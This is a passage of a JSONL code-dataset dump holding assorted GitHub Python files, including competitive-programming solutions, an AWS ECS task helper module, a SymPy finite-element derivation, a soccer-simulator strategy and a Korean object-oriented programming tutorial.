elif v > prev:\n good[i] = True\n break\n a = [a[i] for i in range(n) if not good[i]]\n n = len(a)\n\n minv = [min(row) for row in a]\n maxv = [max(row) for row in a]\n\n minv = sorted(minv)\n maxv = sorted(maxv)\n\n j = 0\n for i in range(n):\n while j < n and minv[i] >= maxv[j]:\n j += 1\n foo -= j\n\n sys.stdout.write('%d\\n' % foo)\n\ndef main():\n while True:\n try:\n n = int(input().strip())\n a = [[int(j) for j in input().strip().split()][1:] for i in range(n)]\n solution(a)\n except ValueError:\n continue\n except EOFError:\n break\n\nif __name__ == '__main__':\n main()\n","repo_name":"jki14/competitive-programming","sub_path":"2020/codeforces.com/hello-2020/prob.py","file_name":"prob.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"8116554758","text":"import random\nfrom datetime import date\n\ndef randomroutine():\n exercises1 = [\"100 Flexão de braço\", \"100 Panturrilha\", \"400 Polichinelo\", \"200 Agachamento\", \"200 Abdominal supra\"]\n exercises2 = [\"200 Abdominal Infra\", \"200 Joelho alto\", \"100 Climber\", \"200 Passada\", \"100 Salto\"]\n a0 = int(len(exercises1))\n b0 = int(len(exercises2))\n a = exercises1\n b = exercises2\n i = 2\n while len(a) > 2:\n a1 = random.choice(a)\n print(a1)\n a.remove(a1)\n while len(b) > 2:\n b1 = random.choice(b)\n b.remove(b1)\n print(b1)\n\n\nhoje = date.today()\n\nprint(\"Treino desafio do dia {}\".format(hoje.strftime(\"%d/%b/%Y\")))\nrandomroutine()\n\n\n","repo_name":"Nidogeology/projetos_iniciante","sub_path":"dailyroutine.py","file_name":"dailyroutine.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38875284578","text":"class Solution:\n def isPalindrome(self, s: str) -> bool:\n # 공백 특수문제 뺴고 제거할 공간\n new_s = []\n for item in s:\n # 알파벳과 숫자 판별\n if item.isalnum():\n # 소문자로 다 저장\n new_s.append(item.lower())\n while len(new_s)>1:\n # 양쪽에 꺼냈을 때 같지않으면 False \n if new_s.pop(0) != new_s.pop():\n return False\n # while문 벗어나면 거꾸로 뒤집어도 같은 문자이므로 True반환\n return True","repo_name":"kai3n/Daily-commit-project","sub_path":"Sanghyun/week15/유효한 팰린드롬.py","file_name":"유효한 팰린드롬.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70816077974","text":"\"\"\"\nGiven a stream of integers and a window size, calculate the moving average of all integers in the sliding window.\n\n\nExample\nMovingAverage m = new MovingAverage(3);\nm.next(1) = 1 // return 1.00000\nm.next(10) = (1 + 10) / 2 // return 5.50000\nm.next(3) = (1 + 10 + 3) / 3 // return 4.66667\nm.next(5) = (10 + 3 + 5) / 3 // return 6.00000\n\"\"\"\nclass MovingAverage:\n \"\"\"\n @param: size: An integer\n \"\"\"\n def __init__(self, size):\n # do intialization if necessary\n self.size = size\n self.q = []\n self._sum = 0.0\n\n \"\"\"\n @param: val: An integer\n @return: \n \"\"\"\n def next(self, val):\n # write your code here\n if len(self.q) == self.size:\n self._sum -= self.q.pop(0)\n self._sum += val\n self.q.append(val)\n return self._sum / len(self.q)\n \n\n\n# Your MovingAverage object will be instantiated and called as such:\n# obj = MovingAverage(size)\n# param = obj.next(val)","repo_name":"daishengliang/coding-challenge","sub_path":"high-frequent/simulation-algorithms-and-string-manipulation-skills/Sliding Window Average from Data Stream.py","file_name":"Sliding Window Average from Data Stream.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22398698186","text":"import numpy as np\nimport scipy as sp\nimport sympy as sym\n\nfrom geometry_2d3n import get_element_geometry_2d3n as element_geometry\n\n\ndef create_zero_matrix(a, b):\n output_matrix = []\n for i in range(a):\n output_matrix_row = []\n for j in range(b):\n output_matrix_row.append(0.0)\n output_matrix.append(output_matrix_row)\n\n return output_matrix\n\n\ndef add_matrices(matrix_a, matrix_b):\n rows = len(matrix_a)\n output_matrix = create_zero_matrix(rows, rows)\n for a in range(rows):\n for b in range(rows):\n output_matrix[a][b] = matrix_a[a][b] + matrix_b[a][b]\n\n return output_matrix\n\n\ndef create_vector_symbol(symbol, dimension):\n symbol_vector = []\n for i in range(dimension):\n symbol_vector.append(sym.Symbol(symbol + \"_{\" + str(i + 1) + \"}\"))\n\n return symbol_vector\n\n\ndef get_convection_operator(vector, gauss_shape_function_derivatives):\n convective_vector = []\n number_of_nodes = len(gauss_shape_function_derivatives)\n dimension = len(vector)\n\n for a in range(number_of_nodes):\n current_value = 0.0\n for i in range(dimension):\n current_value += vector[i] * gauss_shape_function_derivatives[a][i]\n convective_vector.append(current_value)\n\n return convective_vector\n\n\ndef steady_cdr_element_weak_formulation(gauss_point_index,\n number_of_gauss_points):\n shape_functions, shape_function_derivatives, _ = element_geometry(\n number_of_gauss_points)\n\n gauss_point_shape_functions = shape_functions[gauss_point_index]\n gauss_point_shape_function_derivatives = shape_function_derivatives[\n gauss_point_index]\n\n number_of_nodes = len(gauss_point_shape_functions)\n dimension = len(gauss_point_shape_function_derivatives[0])\n\n # creating gauss point symbol quantities\n velocity = create_vector_symbol(\"u\", dimension)\n effective_viscosity = sym.Symbol(r\"\\tilde{\\nu}_\\phi\")\n effective_reaction = sym.Symbol(r\"\\tilde{s}_\\phi\")\n tau = sym.Symbol(r\"\\tau\")\n\n # get operators\n velocity_convection_operator = get_convection_operator(\n velocity, gauss_point_shape_function_derivatives)\n\n lhs_matrix = []\n for a in range(number_of_nodes):\n lhs_matrix_row = []\n for b in range(number_of_nodes):\n lhs_matrix_ab = 0.0\n\n dNa_dNb = 0.0\n for i in range(dimension):\n dNa_dNb += gauss_point_shape_function_derivatives[a][\n i] * gauss_point_shape_function_derivatives[b][i]\n\n # adding main terms from steady cdr weak formulation\n lhs_matrix_ab += gauss_point_shape_functions[\n a] * velocity_convection_operator[b]\n lhs_matrix_ab += effective_viscosity * dNa_dNb\n lhs_matrix_ab += effective_reaction * gauss_point_shape_functions[\n a] * gauss_point_shape_functions[b]\n\n # # adding SUPG stabilization term\n lhs_matrix_ab += tau * (\n velocity_convection_operator[a] +\n effective_reaction * gauss_point_shape_functions[a]\n ) * velocity_convection_operator[b]\n lhs_matrix_ab += tau * (\n velocity_convection_operator[a] +\n effective_reaction * gauss_point_shape_functions[a]\n ) * effective_reaction * gauss_point_shape_functions[b]\n\n lhs_matrix_row.append(lhs_matrix_ab)\n\n lhs_matrix.append(lhs_matrix_row)\n return lhs_matrix, velocity, tau, effective_viscosity, effective_reaction, gauss_point_shape_functions, gauss_point_shape_function_derivatives, velocity_convection_operator\n\n\ndef calculate_matrix_row_sum(input_matrix):\n number_of_rows = len(input_matrix)\n number_of_columns = len(input_matrix[0])\n\n row_sum = []\n for i in range(number_of_rows):\n current_row_sum = 0.0\n for j in range(number_of_columns):\n current_row_sum += input_matrix[i][j]\n row_sum.append(current_row_sum)\n\n return row_sum\n\n\ndef calculate_discrete_upwind_operator_elements(input_matrix):\n number_of_nodes = len(input_matrix)\n discrete_upwind_operator = []\n for a in range(number_of_nodes):\n for b in range(a + 1, number_of_nodes):\n discrete_upwind_operator.append([\n input_matrix[a][b] - input_matrix[b][a],\n \"(\" + str(a + 1) + \",\" + str(b + 1) + \")\"\n ])\n\n return discrete_upwind_operator\n\n\ndef print_matrix(input_matrix, heading, symplification_list):\n print(r\"-------- \" + heading + r\" ---------- \\\\\")\n\n number_of_nodes = len(input_matrix)\n for a in range(number_of_nodes):\n for b in range(number_of_nodes):\n s_str = sym.latex(sym.simplify(input_matrix[a][b], rational=True))\n # for pair in symplification_list:\n # s_str = s_str.replace(sym.latex(pair[0]), pair[1])\n\n print(\"Matrix (\" + str(a + 1) + \", \" + str(b + 1) + \") :\")\n print(r\"\\begin{dmath}\")\n print(s_str)\n print(r\"\\end{dmath}\")\n\n\ndef print_vector(input_vector, heading, symplification_list):\n print(r\"-------- \" + heading + r\" ---------- \\\\\")\n\n number_of_nodes = len(input_vector)\n\n for a in range(number_of_nodes):\n s_str = sym.latex(sym.simplify(input_vector[a], rational=True))\n # for pair in symplification_list:\n # s_str = s_str.replace(sym.latex(pair[0]), pair[1])\n print(\"Vector (\" + str(a + 1) + \") :\")\n print(r\"\\begin{dmath}\")\n print(s_str)\n print(r\"\\end{dmath}\")\n\n\ndef calculate_symmetric_matrix(input_matrix):\n number_of_nodes = len(input_matrix)\n\n output_matrix = create_zero_matrix(number_of_nodes, number_of_nodes)\n for a in range(number_of_nodes):\n for b in range(a, number_of_nodes):\n output_matrix[a][b] = 0.5 * (input_matrix[a][b] +\n input_matrix[b][a])\n output_matrix[b][a] = output_matrix[a][b]\n\n return output_matrix\n\n\ndef calculate_antisymmetric_matrix(input_matrix):\n number_of_nodes = len(input_matrix)\n\n output_matrix = create_zero_matrix(number_of_nodes, number_of_nodes)\n for a in range(number_of_nodes):\n for b in range(number_of_nodes):\n output_matrix[a][b] = 0.5 * (input_matrix[a][b] -\n input_matrix[b][a])\n\n return output_matrix\n\n\ndef construct_discrete_upwind_matrix(input_matrix, tau, velocity,\n effective_viscosity, effective_reaction,\n gauss_shape_functions,\n gausss_shape_function_derivatives,\n velocity_convection_operator):\n number_of_nodes = len(gauss_shape_functions)\n dimension = len(velocity)\n\n output_matrix = create_zero_matrix(number_of_nodes, number_of_nodes)\n\n # gamma = sym.Symbol(r\"\\gamma\")\n gamma = 1.0\n\n for a in range(number_of_nodes):\n for b in range(a + 1, number_of_nodes):\n value = 0.0\n\n dNadNb = 0.0\n for i in range(dimension):\n dNadNb += gausss_shape_function_derivatives[a][\n i] * gausss_shape_function_derivatives[b][i]\n\n value += effective_viscosity * dNadNb\n value += tau * (gauss_shape_functions[a] * effective_reaction +\n velocity_convection_operator[a]) * (\n gauss_shape_functions[b] * effective_reaction +\n velocity_convection_operator[b])\n value += gauss_shape_functions[a] * gauss_shape_functions[\n b] * effective_reaction\n value += sym.Max(\n gauss_shape_functions[a] * velocity_convection_operator[a],\n gauss_shape_functions[b] * velocity_convection_operator[b])\n\n output_matrix[a][b] = -1.0 * gamma * value\n output_matrix[b][a] = output_matrix[a][b]\n\n for a in range(number_of_nodes):\n dii = 0.0\n for b in range(number_of_nodes):\n if (a != b):\n dii += output_matrix[a][b]\n # dii += output_matrix[a][b] + input_matrix[a][b]\n # output_matrix[a][a] = -1.0 * dii - sym.Abs(input_matrix[a][a])\n output_matrix[a][a] = -1.0 * dii\n\n return output_matrix\n\n\ndef main():\n gauss_point_index = 0\n number_of_gauss_points = 1\n\n lhs_matrix, velocity, tau, effective_viscosity, effective_reaction, gauss_point_shape_functions, gauss_point_shape_function_derivatives, velocity_convection_operator = steady_cdr_element_weak_formulation(\n gauss_point_index, number_of_gauss_points)\n row_sum_vector = calculate_matrix_row_sum(lhs_matrix)\n\n symmetric_lhs_matrix = calculate_symmetric_matrix(lhs_matrix)\n anti_symmetric_lhs_matrix = calculate_antisymmetric_matrix(lhs_matrix)\n\n discrete_upwind_elements = calculate_discrete_upwind_operator_elements(\n lhs_matrix)\n number_of_nodes = len(row_sum_vector)\n dimension = len(velocity)\n\n symplification_list = []\n for a in range(number_of_nodes):\n current_value = 0.0\n for i in range(dimension):\n current_value += gauss_point_shape_function_derivatives[a][\n i] * velocity[i]\n symplification_list.append([\n current_value, r\"\\underline{u}\\cdot\\nabla N^{\" + str(a + 1) + \"}\"\n ])\n\n # print_vector(row_sum_vector, \"Row sums\", symplification_list)\n # print_matrix(lhs_matrix, \"LHS Matrix\", symplification_list)\n\n # print(\"--------- Discrete Upwind Operator --------\")\n # for element in discrete_upwind_elements:\n # print(element[1])\n # print(sym.latex(sym.simplify(element[0])))\n\n # print_matrix(symmetric_lhs_matrix, \"Symmetric LHS Matrix\", symplification_list)\n # print_matrix(anti_symmetric_lhs_matrix, \"Anti-symmetric LHS Matrix\", symplification_list)\n\n discrete_diffusion_matrix = construct_discrete_upwind_matrix(\n lhs_matrix, tau, velocity, effective_viscosity, effective_reaction,\n gauss_point_shape_functions, gauss_point_shape_function_derivatives,\n velocity_convection_operator)\n\n print_matrix(discrete_diffusion_matrix, \"Discrete diffusion matrix\",\n symplification_list)\n\n a_tilde = create_zero_matrix(number_of_nodes, number_of_nodes)\n for a in range(number_of_nodes):\n for b in range(number_of_nodes):\n a_tilde[a][b] = lhs_matrix[a][b] + discrete_diffusion_matrix[a][b]\n\n velocity_magnitude = sym.Symbol(r\"|\\underline{u}|\")\n\n # calculate stream line diffusion matrix\n k_s = sym.Symbol(\"k_s\")\n matrix_diffusion_stream_line = create_zero_matrix(number_of_nodes,\n number_of_nodes)\n for a in range(number_of_nodes):\n for b in range(number_of_nodes):\n matrix_diffusion_stream_line[a][\n b] = k_s * velocity_convection_operator[\n a] * velocity_convection_operator[b] / (\n velocity_magnitude * velocity_magnitude)\n\n # calculate cross wind diffusion matrix\n k_c = sym.Symbol(\"k_c\")\n matrix_diffusion_crosswind = create_zero_matrix(number_of_nodes,\n number_of_nodes)\n for a in range(number_of_nodes):\n for b in range(number_of_nodes):\n dNa_dNb = 0.0\n for i in range(dimension):\n dNa_dNb += gauss_point_shape_function_derivatives[a][\n i] * gauss_point_shape_function_derivatives[b][i]\n\n matrix_diffusion_crosswind[a][b] = k_c * (\n dNa_dNb - velocity_convection_operator[a] *\n velocity_convection_operator[b] /\n (velocity_magnitude * velocity_magnitude))\n\n print_matrix(matrix_diffusion_stream_line, \"stream line diffusion matrix\",\n symplification_list)\n print_matrix(matrix_diffusion_crosswind, \"cross wind diffusion matrix\",\n symplification_list)\n print_matrix(\n add_matrices(matrix_diffusion_stream_line, matrix_diffusion_crosswind),\n \"total diffusion matrix\", symplification_list)\n\n print_vector(calculate_matrix_row_sum(matrix_diffusion_crosswind), \"cross wind row sum\", symplification_list)\n print_vector(calculate_matrix_row_sum(matrix_diffusion_stream_line), \"stream line row sum\", symplification_list)\n\n # a_tilde_row_sum = calculate_matrix_row_sum(a_tilde)\n # print_vector(a_tilde_row_sum, \"a_tilde row sum\", symplification_list)\n # print_matrix(a_tilde, \"a_tilde matrix\", symplification_list)\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"sunethwarna/element_formulation","sub_path":"element_formulation.py","file_name":"element_formulation.py","file_ext":"py","file_size_in_byte":12705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28853205314","text":"class ParserMapping(object):\n \"\"\"docstring for ParserMapping.\"\"\"\n\n def __init__(self, minify):\n self.minify = minify\n self.mVal = 1 if minify else 0\n\n mVal = 0\n\n # Mapping of minified names.\n jsonMapping = {\n 'nodeType': ['nodeType', 'nt'],\n 'tagName': ['tagName', 'tn'],\n 'nodeName': ['nodeName', 'nn'],\n 'nodeValue': ['nodeValue', 'nv'],\n 'attrs': ['attrs', 'at'],\n 'styles': ['styles', None],\n 'styleId': ['styleId', 'si'],\n 'styleSum': ['styleSum', 'ss'],\n 'childNodes': ['childNodes', 'c'],\n 'level': ['level', 'l'],\n 'position': ['position', 'p'],\n }\n\n def get(self, name):\n return self.jsonMapping[name][self.mVal]\n\n def get_mapping_names(self):\n tagName = self.get('tagName')\n nodeType = self.get('nodeType')\n nodeName = self.get('nodeName')\n nodeValue = self.get('nodeValue')\n position = self.get('position')\n childNodes = self.get('childNodes')\n attrs = self.get('attrs')\n\n return (tagName, nodeType, nodeName, nodeValue, position, childNodes, attrs)\n","repo_name":"CoffeeIO/DOM-based-VRT","sub_path":"TreeDistance/domvrt/parser_mapping.py","file_name":"parser_mapping.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28070270054","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Utilities for working with ECS tasks.\"\"\"\n\nfrom .. import client as boto3client\n\n\ndef create(profile, cluster, task_definition, started_by=None, count=None):\n \"\"\"Run a task in a cluster.\n\n Args:\n\n profile\n A profile to connect to AWS with.\n\n cluster\n The name of the cluster to run the task in.\n\n task_definition\n The full name of the task to run, i.e., family:revision.\n\n started_by\n A string to help identify the task later.\n\n count\n The number of copies of the task to run.\n\n Returns:\n The data returned by boto3.\n\n \"\"\"\n client = boto3client.get(\"ecs\", profile)\n params = {}\n params[\"cluster\"] = cluster\n params[\"taskDefinition\"] = task_definition\n if started_by:\n params[\"startedBy\"] = started_by\n if count:\n params[\"count\"] = count\n return client.run_task(**params)\n\n\ndef delete(profile, cluster, task_id):\n \"\"\"Stop a task in a cluster.\n\n Args:\n\n profile\n A profile to connect to AWS with.\n\n cluster\n The name of the cluster the task is running in.\n\n task_id\n The ID of the task to stop.\n\n Returns:\n The data returned by boto3.\n\n \"\"\"\n client = boto3client.get(\"ecs\", profile)\n params = {}\n params[\"cluster\"] = cluster\n params[\"task\"] = task_id\n return client.stop_task(**params)\n\n\ndef get_arns(profile, cluster, started_by=None):\n \"\"\"Get all ECS task ARNs for a cluster.\n\n Args:\n\n profile\n A profile to connect to AWS with.\n\n cluster\n The name of a cluster.\n\n started_by\n Get tasks started with this value.\n\n Returns:\n The data returned by boto3.\n\n \"\"\"\n result = None\n client = boto3client.get(\"ecs\", profile)\n params = {}\n params[\"cluster\"] = cluster\n if started_by:\n params[\"startedBy\"] = started_by\n return client.list_tasks(**params)\n\n\ndef get(profile, cluster, tasks):\n \"\"\"Get the info for tasks in a cluster.\n\n Args:\n\n profile\n A profile to connect to AWS with.\n\n cluster\n The name of a cluster.\n\n tasks\n The list of task ARNs to fetch.\n\n Returns:\n The data returned by boto3.\n\n \"\"\"\n client = boto3client.get(\"ecs\", profile)\n params = {}\n params[\"cluster\"] = cluster\n params[\"tasks\"] = tasks\n return client.describe_tasks(**params)\n","repo_name":"jtpaasch/armyguys","sub_path":"armyguys/aws/ecs/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":2488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2706413307","text":"def get_input():\n in_file = open('in17.txt', 'r')\n input = in_file.read()\n in_file.close()\n x = tuple(map(int, input[input.find('x') + 2 : input.find(',')].split('..')))\n y = tuple(map(int, input[input.find('y') + 2 :].split('..')))\n\n return x, y\n\n\ndef on_target(pos, x_range, y_range):\n if pos[0] in range(x_range[0], x_range[1] + 1) and pos[1] in range(y_range[0], y_range[1] + 1):\n return True\n return False\n\n\ndef past_target(pos, x_range, y_range):\n if pos[0] > x_range[1] or pos[1] < y_range[0]:\n return True\n return False\n\n\ndef solve_a(x_range, y_range):\n y_max = 0\n for sx_vel in range(2, 100):\n for sy_vel in range(1, 1000):\n x_vel = sx_vel\n y_vel = sy_vel\n ix = sx_vel\n iy = sy_vel\n\n pos = (0, 0)\n local_y_max = 0\n while not past_target(pos, x_range, y_range):\n if on_target(pos, x_range, y_range):\n\n print(f'got to target at {pos} with x_vel: {ix}, y_vel: {iy}')\n if local_y_max > y_max:\n y_max = local_y_max\n break\n pos = (pos[0] + x_vel, pos[1] + y_vel)\n if x_vel > 0:\n x_vel -= 1\n elif x_vel < 0:\n x_vel += 1\n y_vel -= 1\n if pos[1] > local_y_max:\n local_y_max = pos[1]\n # print(f'final pos: {pos}')\n return y_max\n\n\ndef solve_b(x_range, y_range):\n count = 0\n for sx_vel in range(2, 400):\n for sy_vel in range(-500, 500):\n x_vel = sx_vel\n y_vel = sy_vel\n\n pos = (0, 0)\n while not past_target(pos, x_range, y_range):\n if on_target(pos, x_range, y_range):\n print(f'got to target at {pos} with x_vel: {sx_vel}, y_vel: {sy_vel}')\n count += 1\n break\n pos = (pos[0] + x_vel, pos[1] + y_vel)\n if x_vel > 0:\n x_vel -= 1\n elif x_vel < 0:\n x_vel += 1\n y_vel -= 1\n # print(f'final pos: {pos}')\n return count\n\n\nif __name__ == '__main__':\n t1, t2 = get_input()\n print(solve_b(t1, t2))","repo_name":"jaredblack/advent-of-code-2021","sub_path":"day17.py","file_name":"day17.py","file_ext":"py","file_size_in_byte":2304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22815739649","text":"from soccersimulator import Strategy\nfrom soccersimulator import SoccerTeam, SoccerAction\nimport toolbox\n\n\nclass Fonceur (Strategy):\n def __init__(self):\n Strategy.__init__(self, \"Fonceur\")\n def compute_strategy (self, state, id_team, id_player):\n mystate = toolbox.MyState(state, id_team, id_player)\n zone=toolbox.Zone(mystate)\n action = toolbox.Action(zone)\n technique = toolbox.Techniques(action)\n return technique.aller_vers_ball_att(mystate.ball_position()) + technique.attaque_strategy()\n \n\nclass Defenseur (Strategy):\n def __init__(Self):\n Strategy.__init__(Self, \"Defenseur\")\n def compute_strategy (self, state, id_team, id_player):\n mystate = toolbox.MyState(state, id_team, id_player)\n zone=toolbox.Zone(mystate)\n action = toolbox.Action(zone)\n technique = toolbox.Techniques(action)\n return technique.defense_position()\n \nclass Buteur(Strategy):\n\tdef __init__(self):\n\t\tStrategy.__init__(self,\"Buteur\")\n\tdef compute_strategy (self,state, id_team, id_player):\n\t\tmystate = toolbox.MyState(state, id_team, id_player)\n\t\tzone=toolbox.Zone(mystate)\n\t\taction = toolbox.Action(zone)\n\t\ttechnique = toolbox.Techniques(action)\n\t\treturn technique.tirer()\n\n\t\n \ndef get_team(i):\n s=SoccerTeam(name=\"CityHunter\")\n if (i==1):\n s.add(\"Mamouth\",Buteur())\n if (i==2):\n s.add(\"NickyLarson\",Buteur())\n s.add(\"Laura\",Defenseur())\nreturn s\n","repo_name":"OlivierLatiri/SoccerSimulator","sub_path":"MonGit/Projet.py.py","file_name":"Projet.py.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30094952356","text":"# 1990년도 이전\n# 가장 대표적인 프로그램 작성 방식\n# 구조적 프로그래밍(절차적 프로그래밍)\n# 프로그램 작성시 기능으로 세분화해서 각각의 기능을 모듈로 제작 프로그램을 작성\n\n'''\n절차적 프로그램 !!\n 은행업무\n 예금 대출 외환 펀드 ..\n 입금 출금 이체\n자행입금 타행입급 ....\n\n세분화 시켜서 분리하는 것\n더이상 세분화가 불가능하면 module (function) 로 작성\n모듈을 공유하여 사용가능 (입금에서도 사용가능하고 펀드에서도 사용가능하고 모듈을 공유가 가능)\n모듈을 수정하면 전부다 수정을 해야하는 소요가 있음!!\n\n절차적 프로그램의 장점\n설계하기가 쉬움 ( 사람마다 거의 유사한 설계가 가능)\n프로그램을 쉽고 빠르게 만들 수 있음.\n\n절차적 프로그램의 단점\n수정 및 유지보수가 어려움\n'''\n\n'''\n세상이 변하고 프로그램의 유지보수가 중요하게 대두됨!\n현실세계의 해결해야하는 문제에 대한 구성요소를 파악 (사람마다 설계가 달라짐, 설계에 대한 어려움)\n\n유지보수가 좋아짐 \n\n은행\n은행지점 고객 텔러 ATM 계좌 > 개체(object)\n객체지향프로그램(OOP_Object Oriented Programming)\n개체를을 파악해서 그 개체들간의 관계를 프로그래밍 하는 방식을 객체지향 프로그래밍 이라고한다\n\n개체들을 파악한 후 이 각각의 개체를 프로그램적으로 묘사해야 해요\n객체 모델링\n\nex) 사람을 프로그램적으로 묘사해보아요 (객체모델링을 해 보아요!)\n추상화(Abstraction) 과정을 거쳐서 사람을 객체모델링 할 꺼에요!!\n이런 개체들은 속성, 행위가 있드라!! (단순화)\n 속성 - 변수 (property,meber field, field) \n 행위 - 함수 (method) # 누군가에게 종속되어야 함\nclass라는 걸 이용해서 추상화과정을 거친 개체를 프로그램적으로 표현하게되요!\n\nclass \n1. 객체 모델링의 수단\n\nclass 사람 #키, 몸무게, 나이, 이름등 다양한 변수를 모아서 새로운 data type(추상데이터 타입)인 사람을 만드는 것...\n - 키(변수) heigth > float\n - 몸무게(변수) weight > float\n - 나이(변수) age > int\n - 이름(변수) name > str\n - 걷는다(메소드)\n - 말한다(메소드)\n - 잔다(메소드)\n \nclass는 data type 관전에서 봤을때는 기존 데이터타입을 이용해서 새로운 data type을 만드는 것이라고 볼 수 있어요\nclass > 추상적인 데이터 타입이라고 불러요 (Abstract data type _ ADT)\n'''\n\n''' 요약 !!!!!\n구조적 프로그래밍 (절차적 프로그래밍)\n프로그램 작성 시 기능으로 세분화해서 각각의 기능을 모듈화(함수화)해서 구현\n프로그램 구조를 이해하기 쉽고 프로그램을 빠르게 만들 수 있어요!\n프로그램 규모가 커지면 유지보수와 코드의 재사용에 한계가 오게됩니다.\n\n객체지향 프로그래밍\n현실세계의 해결해야 하는 문제를 그대로 프로그램으로 묘사(표현)\n프로그램을 구성하는 주체들(개체, 객체, object)을 파악하고\n그 객체들간의 데이터 흐름에 초점을 맞추어서 프로그램을 작성\n프로그램을 설계하고 작성이 상대적으로 어려움!(구조적 프로그래밍에 비해)\n일단 제대로 작성된 객체지향 프로그램은 유지보수와 재사용성에 상당한 이점\n'''\n\n###########################################################\n#학생의 이름, 학과, 학번, 평균평점을 저장하는 방법\n# stu_name = \"홍길동\"\n# stu_dept = \"심리학과\"\n# stu_number = \"20201134\" # 숫자보다는 문자열이 처리하기 편함 _숫자를 쓰는 이유는 연산하기 위함\n# stu_grade = 3.5\n#\n#\n# #만약 3명��� 학생이 있으면 어떻게 하나요??\n# stu1_name = \"홍길동\"\n# stu1_dept = \"심리학과\"\n# stu1_number = \"20201134\"\n# stu1_grade = 3.5\n#\n# stu2_name = \"김길동\"\n# stu2_dept = \"컴퓨터\"\n# stu2_number = \"20201135\"\n# stu2_grade = 2.0\n#\n# stu3_name = \"신사임당\"\n# stu3_dept = \"경영학과\"\n# stu3_number = \"20201136\"\n# stu3_grade = 4.0\n#\n# # 코드가 너무 불필요하게 반복적이고 확장성이 없는 코드가 됬어요.....\n# stu_name = [\"홍길동\", \"김길동\", \"신사임당\"]\n# stu_dept = [\"심기학과\", \"컴퓨터\", \"경영학과\"]\n# stu_num = [\"20201134\", \"20201135\", \"20201136\"]\n# stu_grade = [\"3.5\", \"2.0\", \"4.0\"]\n\n# index를 이용해 처리하는게 쉬운작업은 아니고 코드에 모든 의미가 다 내포되어 있는게 아닌 문제가 발생\n# 다른사람이 보기에 분석하기 쉬운코드\n\n# 어떻게 하면 이런내용을 class 이용해서 객체지향적으로 표현할수 있을까?\n# 학생이라는 개념을 프로그램적으로 모델링을 해 보아요!\n\n# class Student(object): #class 이름은 관용적으로 첫 글자는 대문자로 작성\n# def __init__(self, name, dept, num, grade): #모든 class가 가지고 있음 __init__(self): 인스턴스를 초기화 하는 것\n# self.name = name #. 연산자 //인스턴스안에 또다른 저장공간 사각형안에 4개의 사각형 다시생성\n# self.dept = dept\n# self.num = num\n# self.grade = grade\n# # instance variable\n# students = []\n# students.append(Student(\"홍길동\", \"심리학과\", \"20201134\", 3.5))\n# students.append(Student(\"김길동\", \"컴퓨터\", \"20201135\", 2.0))\n# students.append(Student(\"신사임당\", \"경영학과\", \"20201136\", 4.0))\n# print(students[0].name) #홍길동\n # name dept num grade # instance variable\n # | ㅁ ㅁ ㅁ ㅁ | # instance\n# self 객체를 가르치는 주소값\n# 클래스 기반으로 저장공간(instance)을 확보하고 클래스의 매소드를 활용하여 저장 // 저장됨\n\n\n##########################################################\n## Python은 객체지향 언어에요!!\n## Python에서 나오는 모든것은 다 객체(instance)에요\n\n# a = 10\n# print(type(a)) #\n# my_list = [10]\n# print(type(my_list)) #\n\n# class list(object):\n# ~~~~\n# ~~~~\n# ~~~~\n\n# 숫자도 객체(instance)고, 리스트도 객체(instance)고 str(문자열)도 객체고, 함수도 객체에요!\n\n# 객체(instance)가 있다는건 > class가 존재한다는 얘기에요!\n# 객체(instance) > 변수, method\n\n# my_list = [10, 20]\n# my_list.append() # list 가 가지고 있는 append() method!!!!!\n# 객체(instance)란 속성과 같은 여러가지 데이터 + 메소드를 가지고 있는 데이터 구조를 지칭해요!\n\n\n# class Student(object):\n# def __init__(self, name, dept, num, grade): # constructor(생성자)_java, c, __init__\n# self.name = name # initializer _ python 에서만\n# self.dept = dept\n# self.num = num\n# self.grade = grade\n#\n# def __repr__(self): #주소가 아닌 바로 출력되게끔 하는 메소드\n# return self.name\n#\n# def change_dept(self, tmp_dept):\n# #tmp_dept가 정상적인 학과인지 check하는 코드\n# self.dept = tmp_dept\n\n# student = Student(\"홍길동\", \"심리학과\", \"20201133\", 4.5)\n\n# print(student) #홍길동\n# print(student.name) #홍길동\n# print(student.dept) #심리학과\n#\n# # information hiding () 정보은닉 // 데이터가 오염되는 것을 막기위하여 사용\n# student.change_dept(\"컴퓨터학과\")\n# print(student.dept) #컴퓨터학과\n#\n# student.dept = \"컴퓨터학과\" #객체에서는 direct로 수정하는 것을 권장하지 않음\n# print(student.dept) #컴퓨터학과\n\n################################################################\n\n# python이 제공하는 내장함수 중 dir() 에 대해서 알아보아요!!\n# 객체가 인자로 들어오면 해당 객체의 모든 속성과 메소드를 알려줘요!\n\n# student = Student(\"홍길동\", \"심리학과\", \"20201133\", 4.5) #상기 Student class 그대로 사용\n# print(dir(student))\n#\n#\n# student.depts = \"철학과\" # 오타가 나서 갑자기 다른 instance variable 이 추가됨 (java, c++...은 안됨)\n# print(student.depts) # 철학과\n# print(dir(student)) # depts 추가\n\n# 한가지를 더 생각해보아요!!\n\n#['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__',\n# '__ge__','__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__',\n# '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', 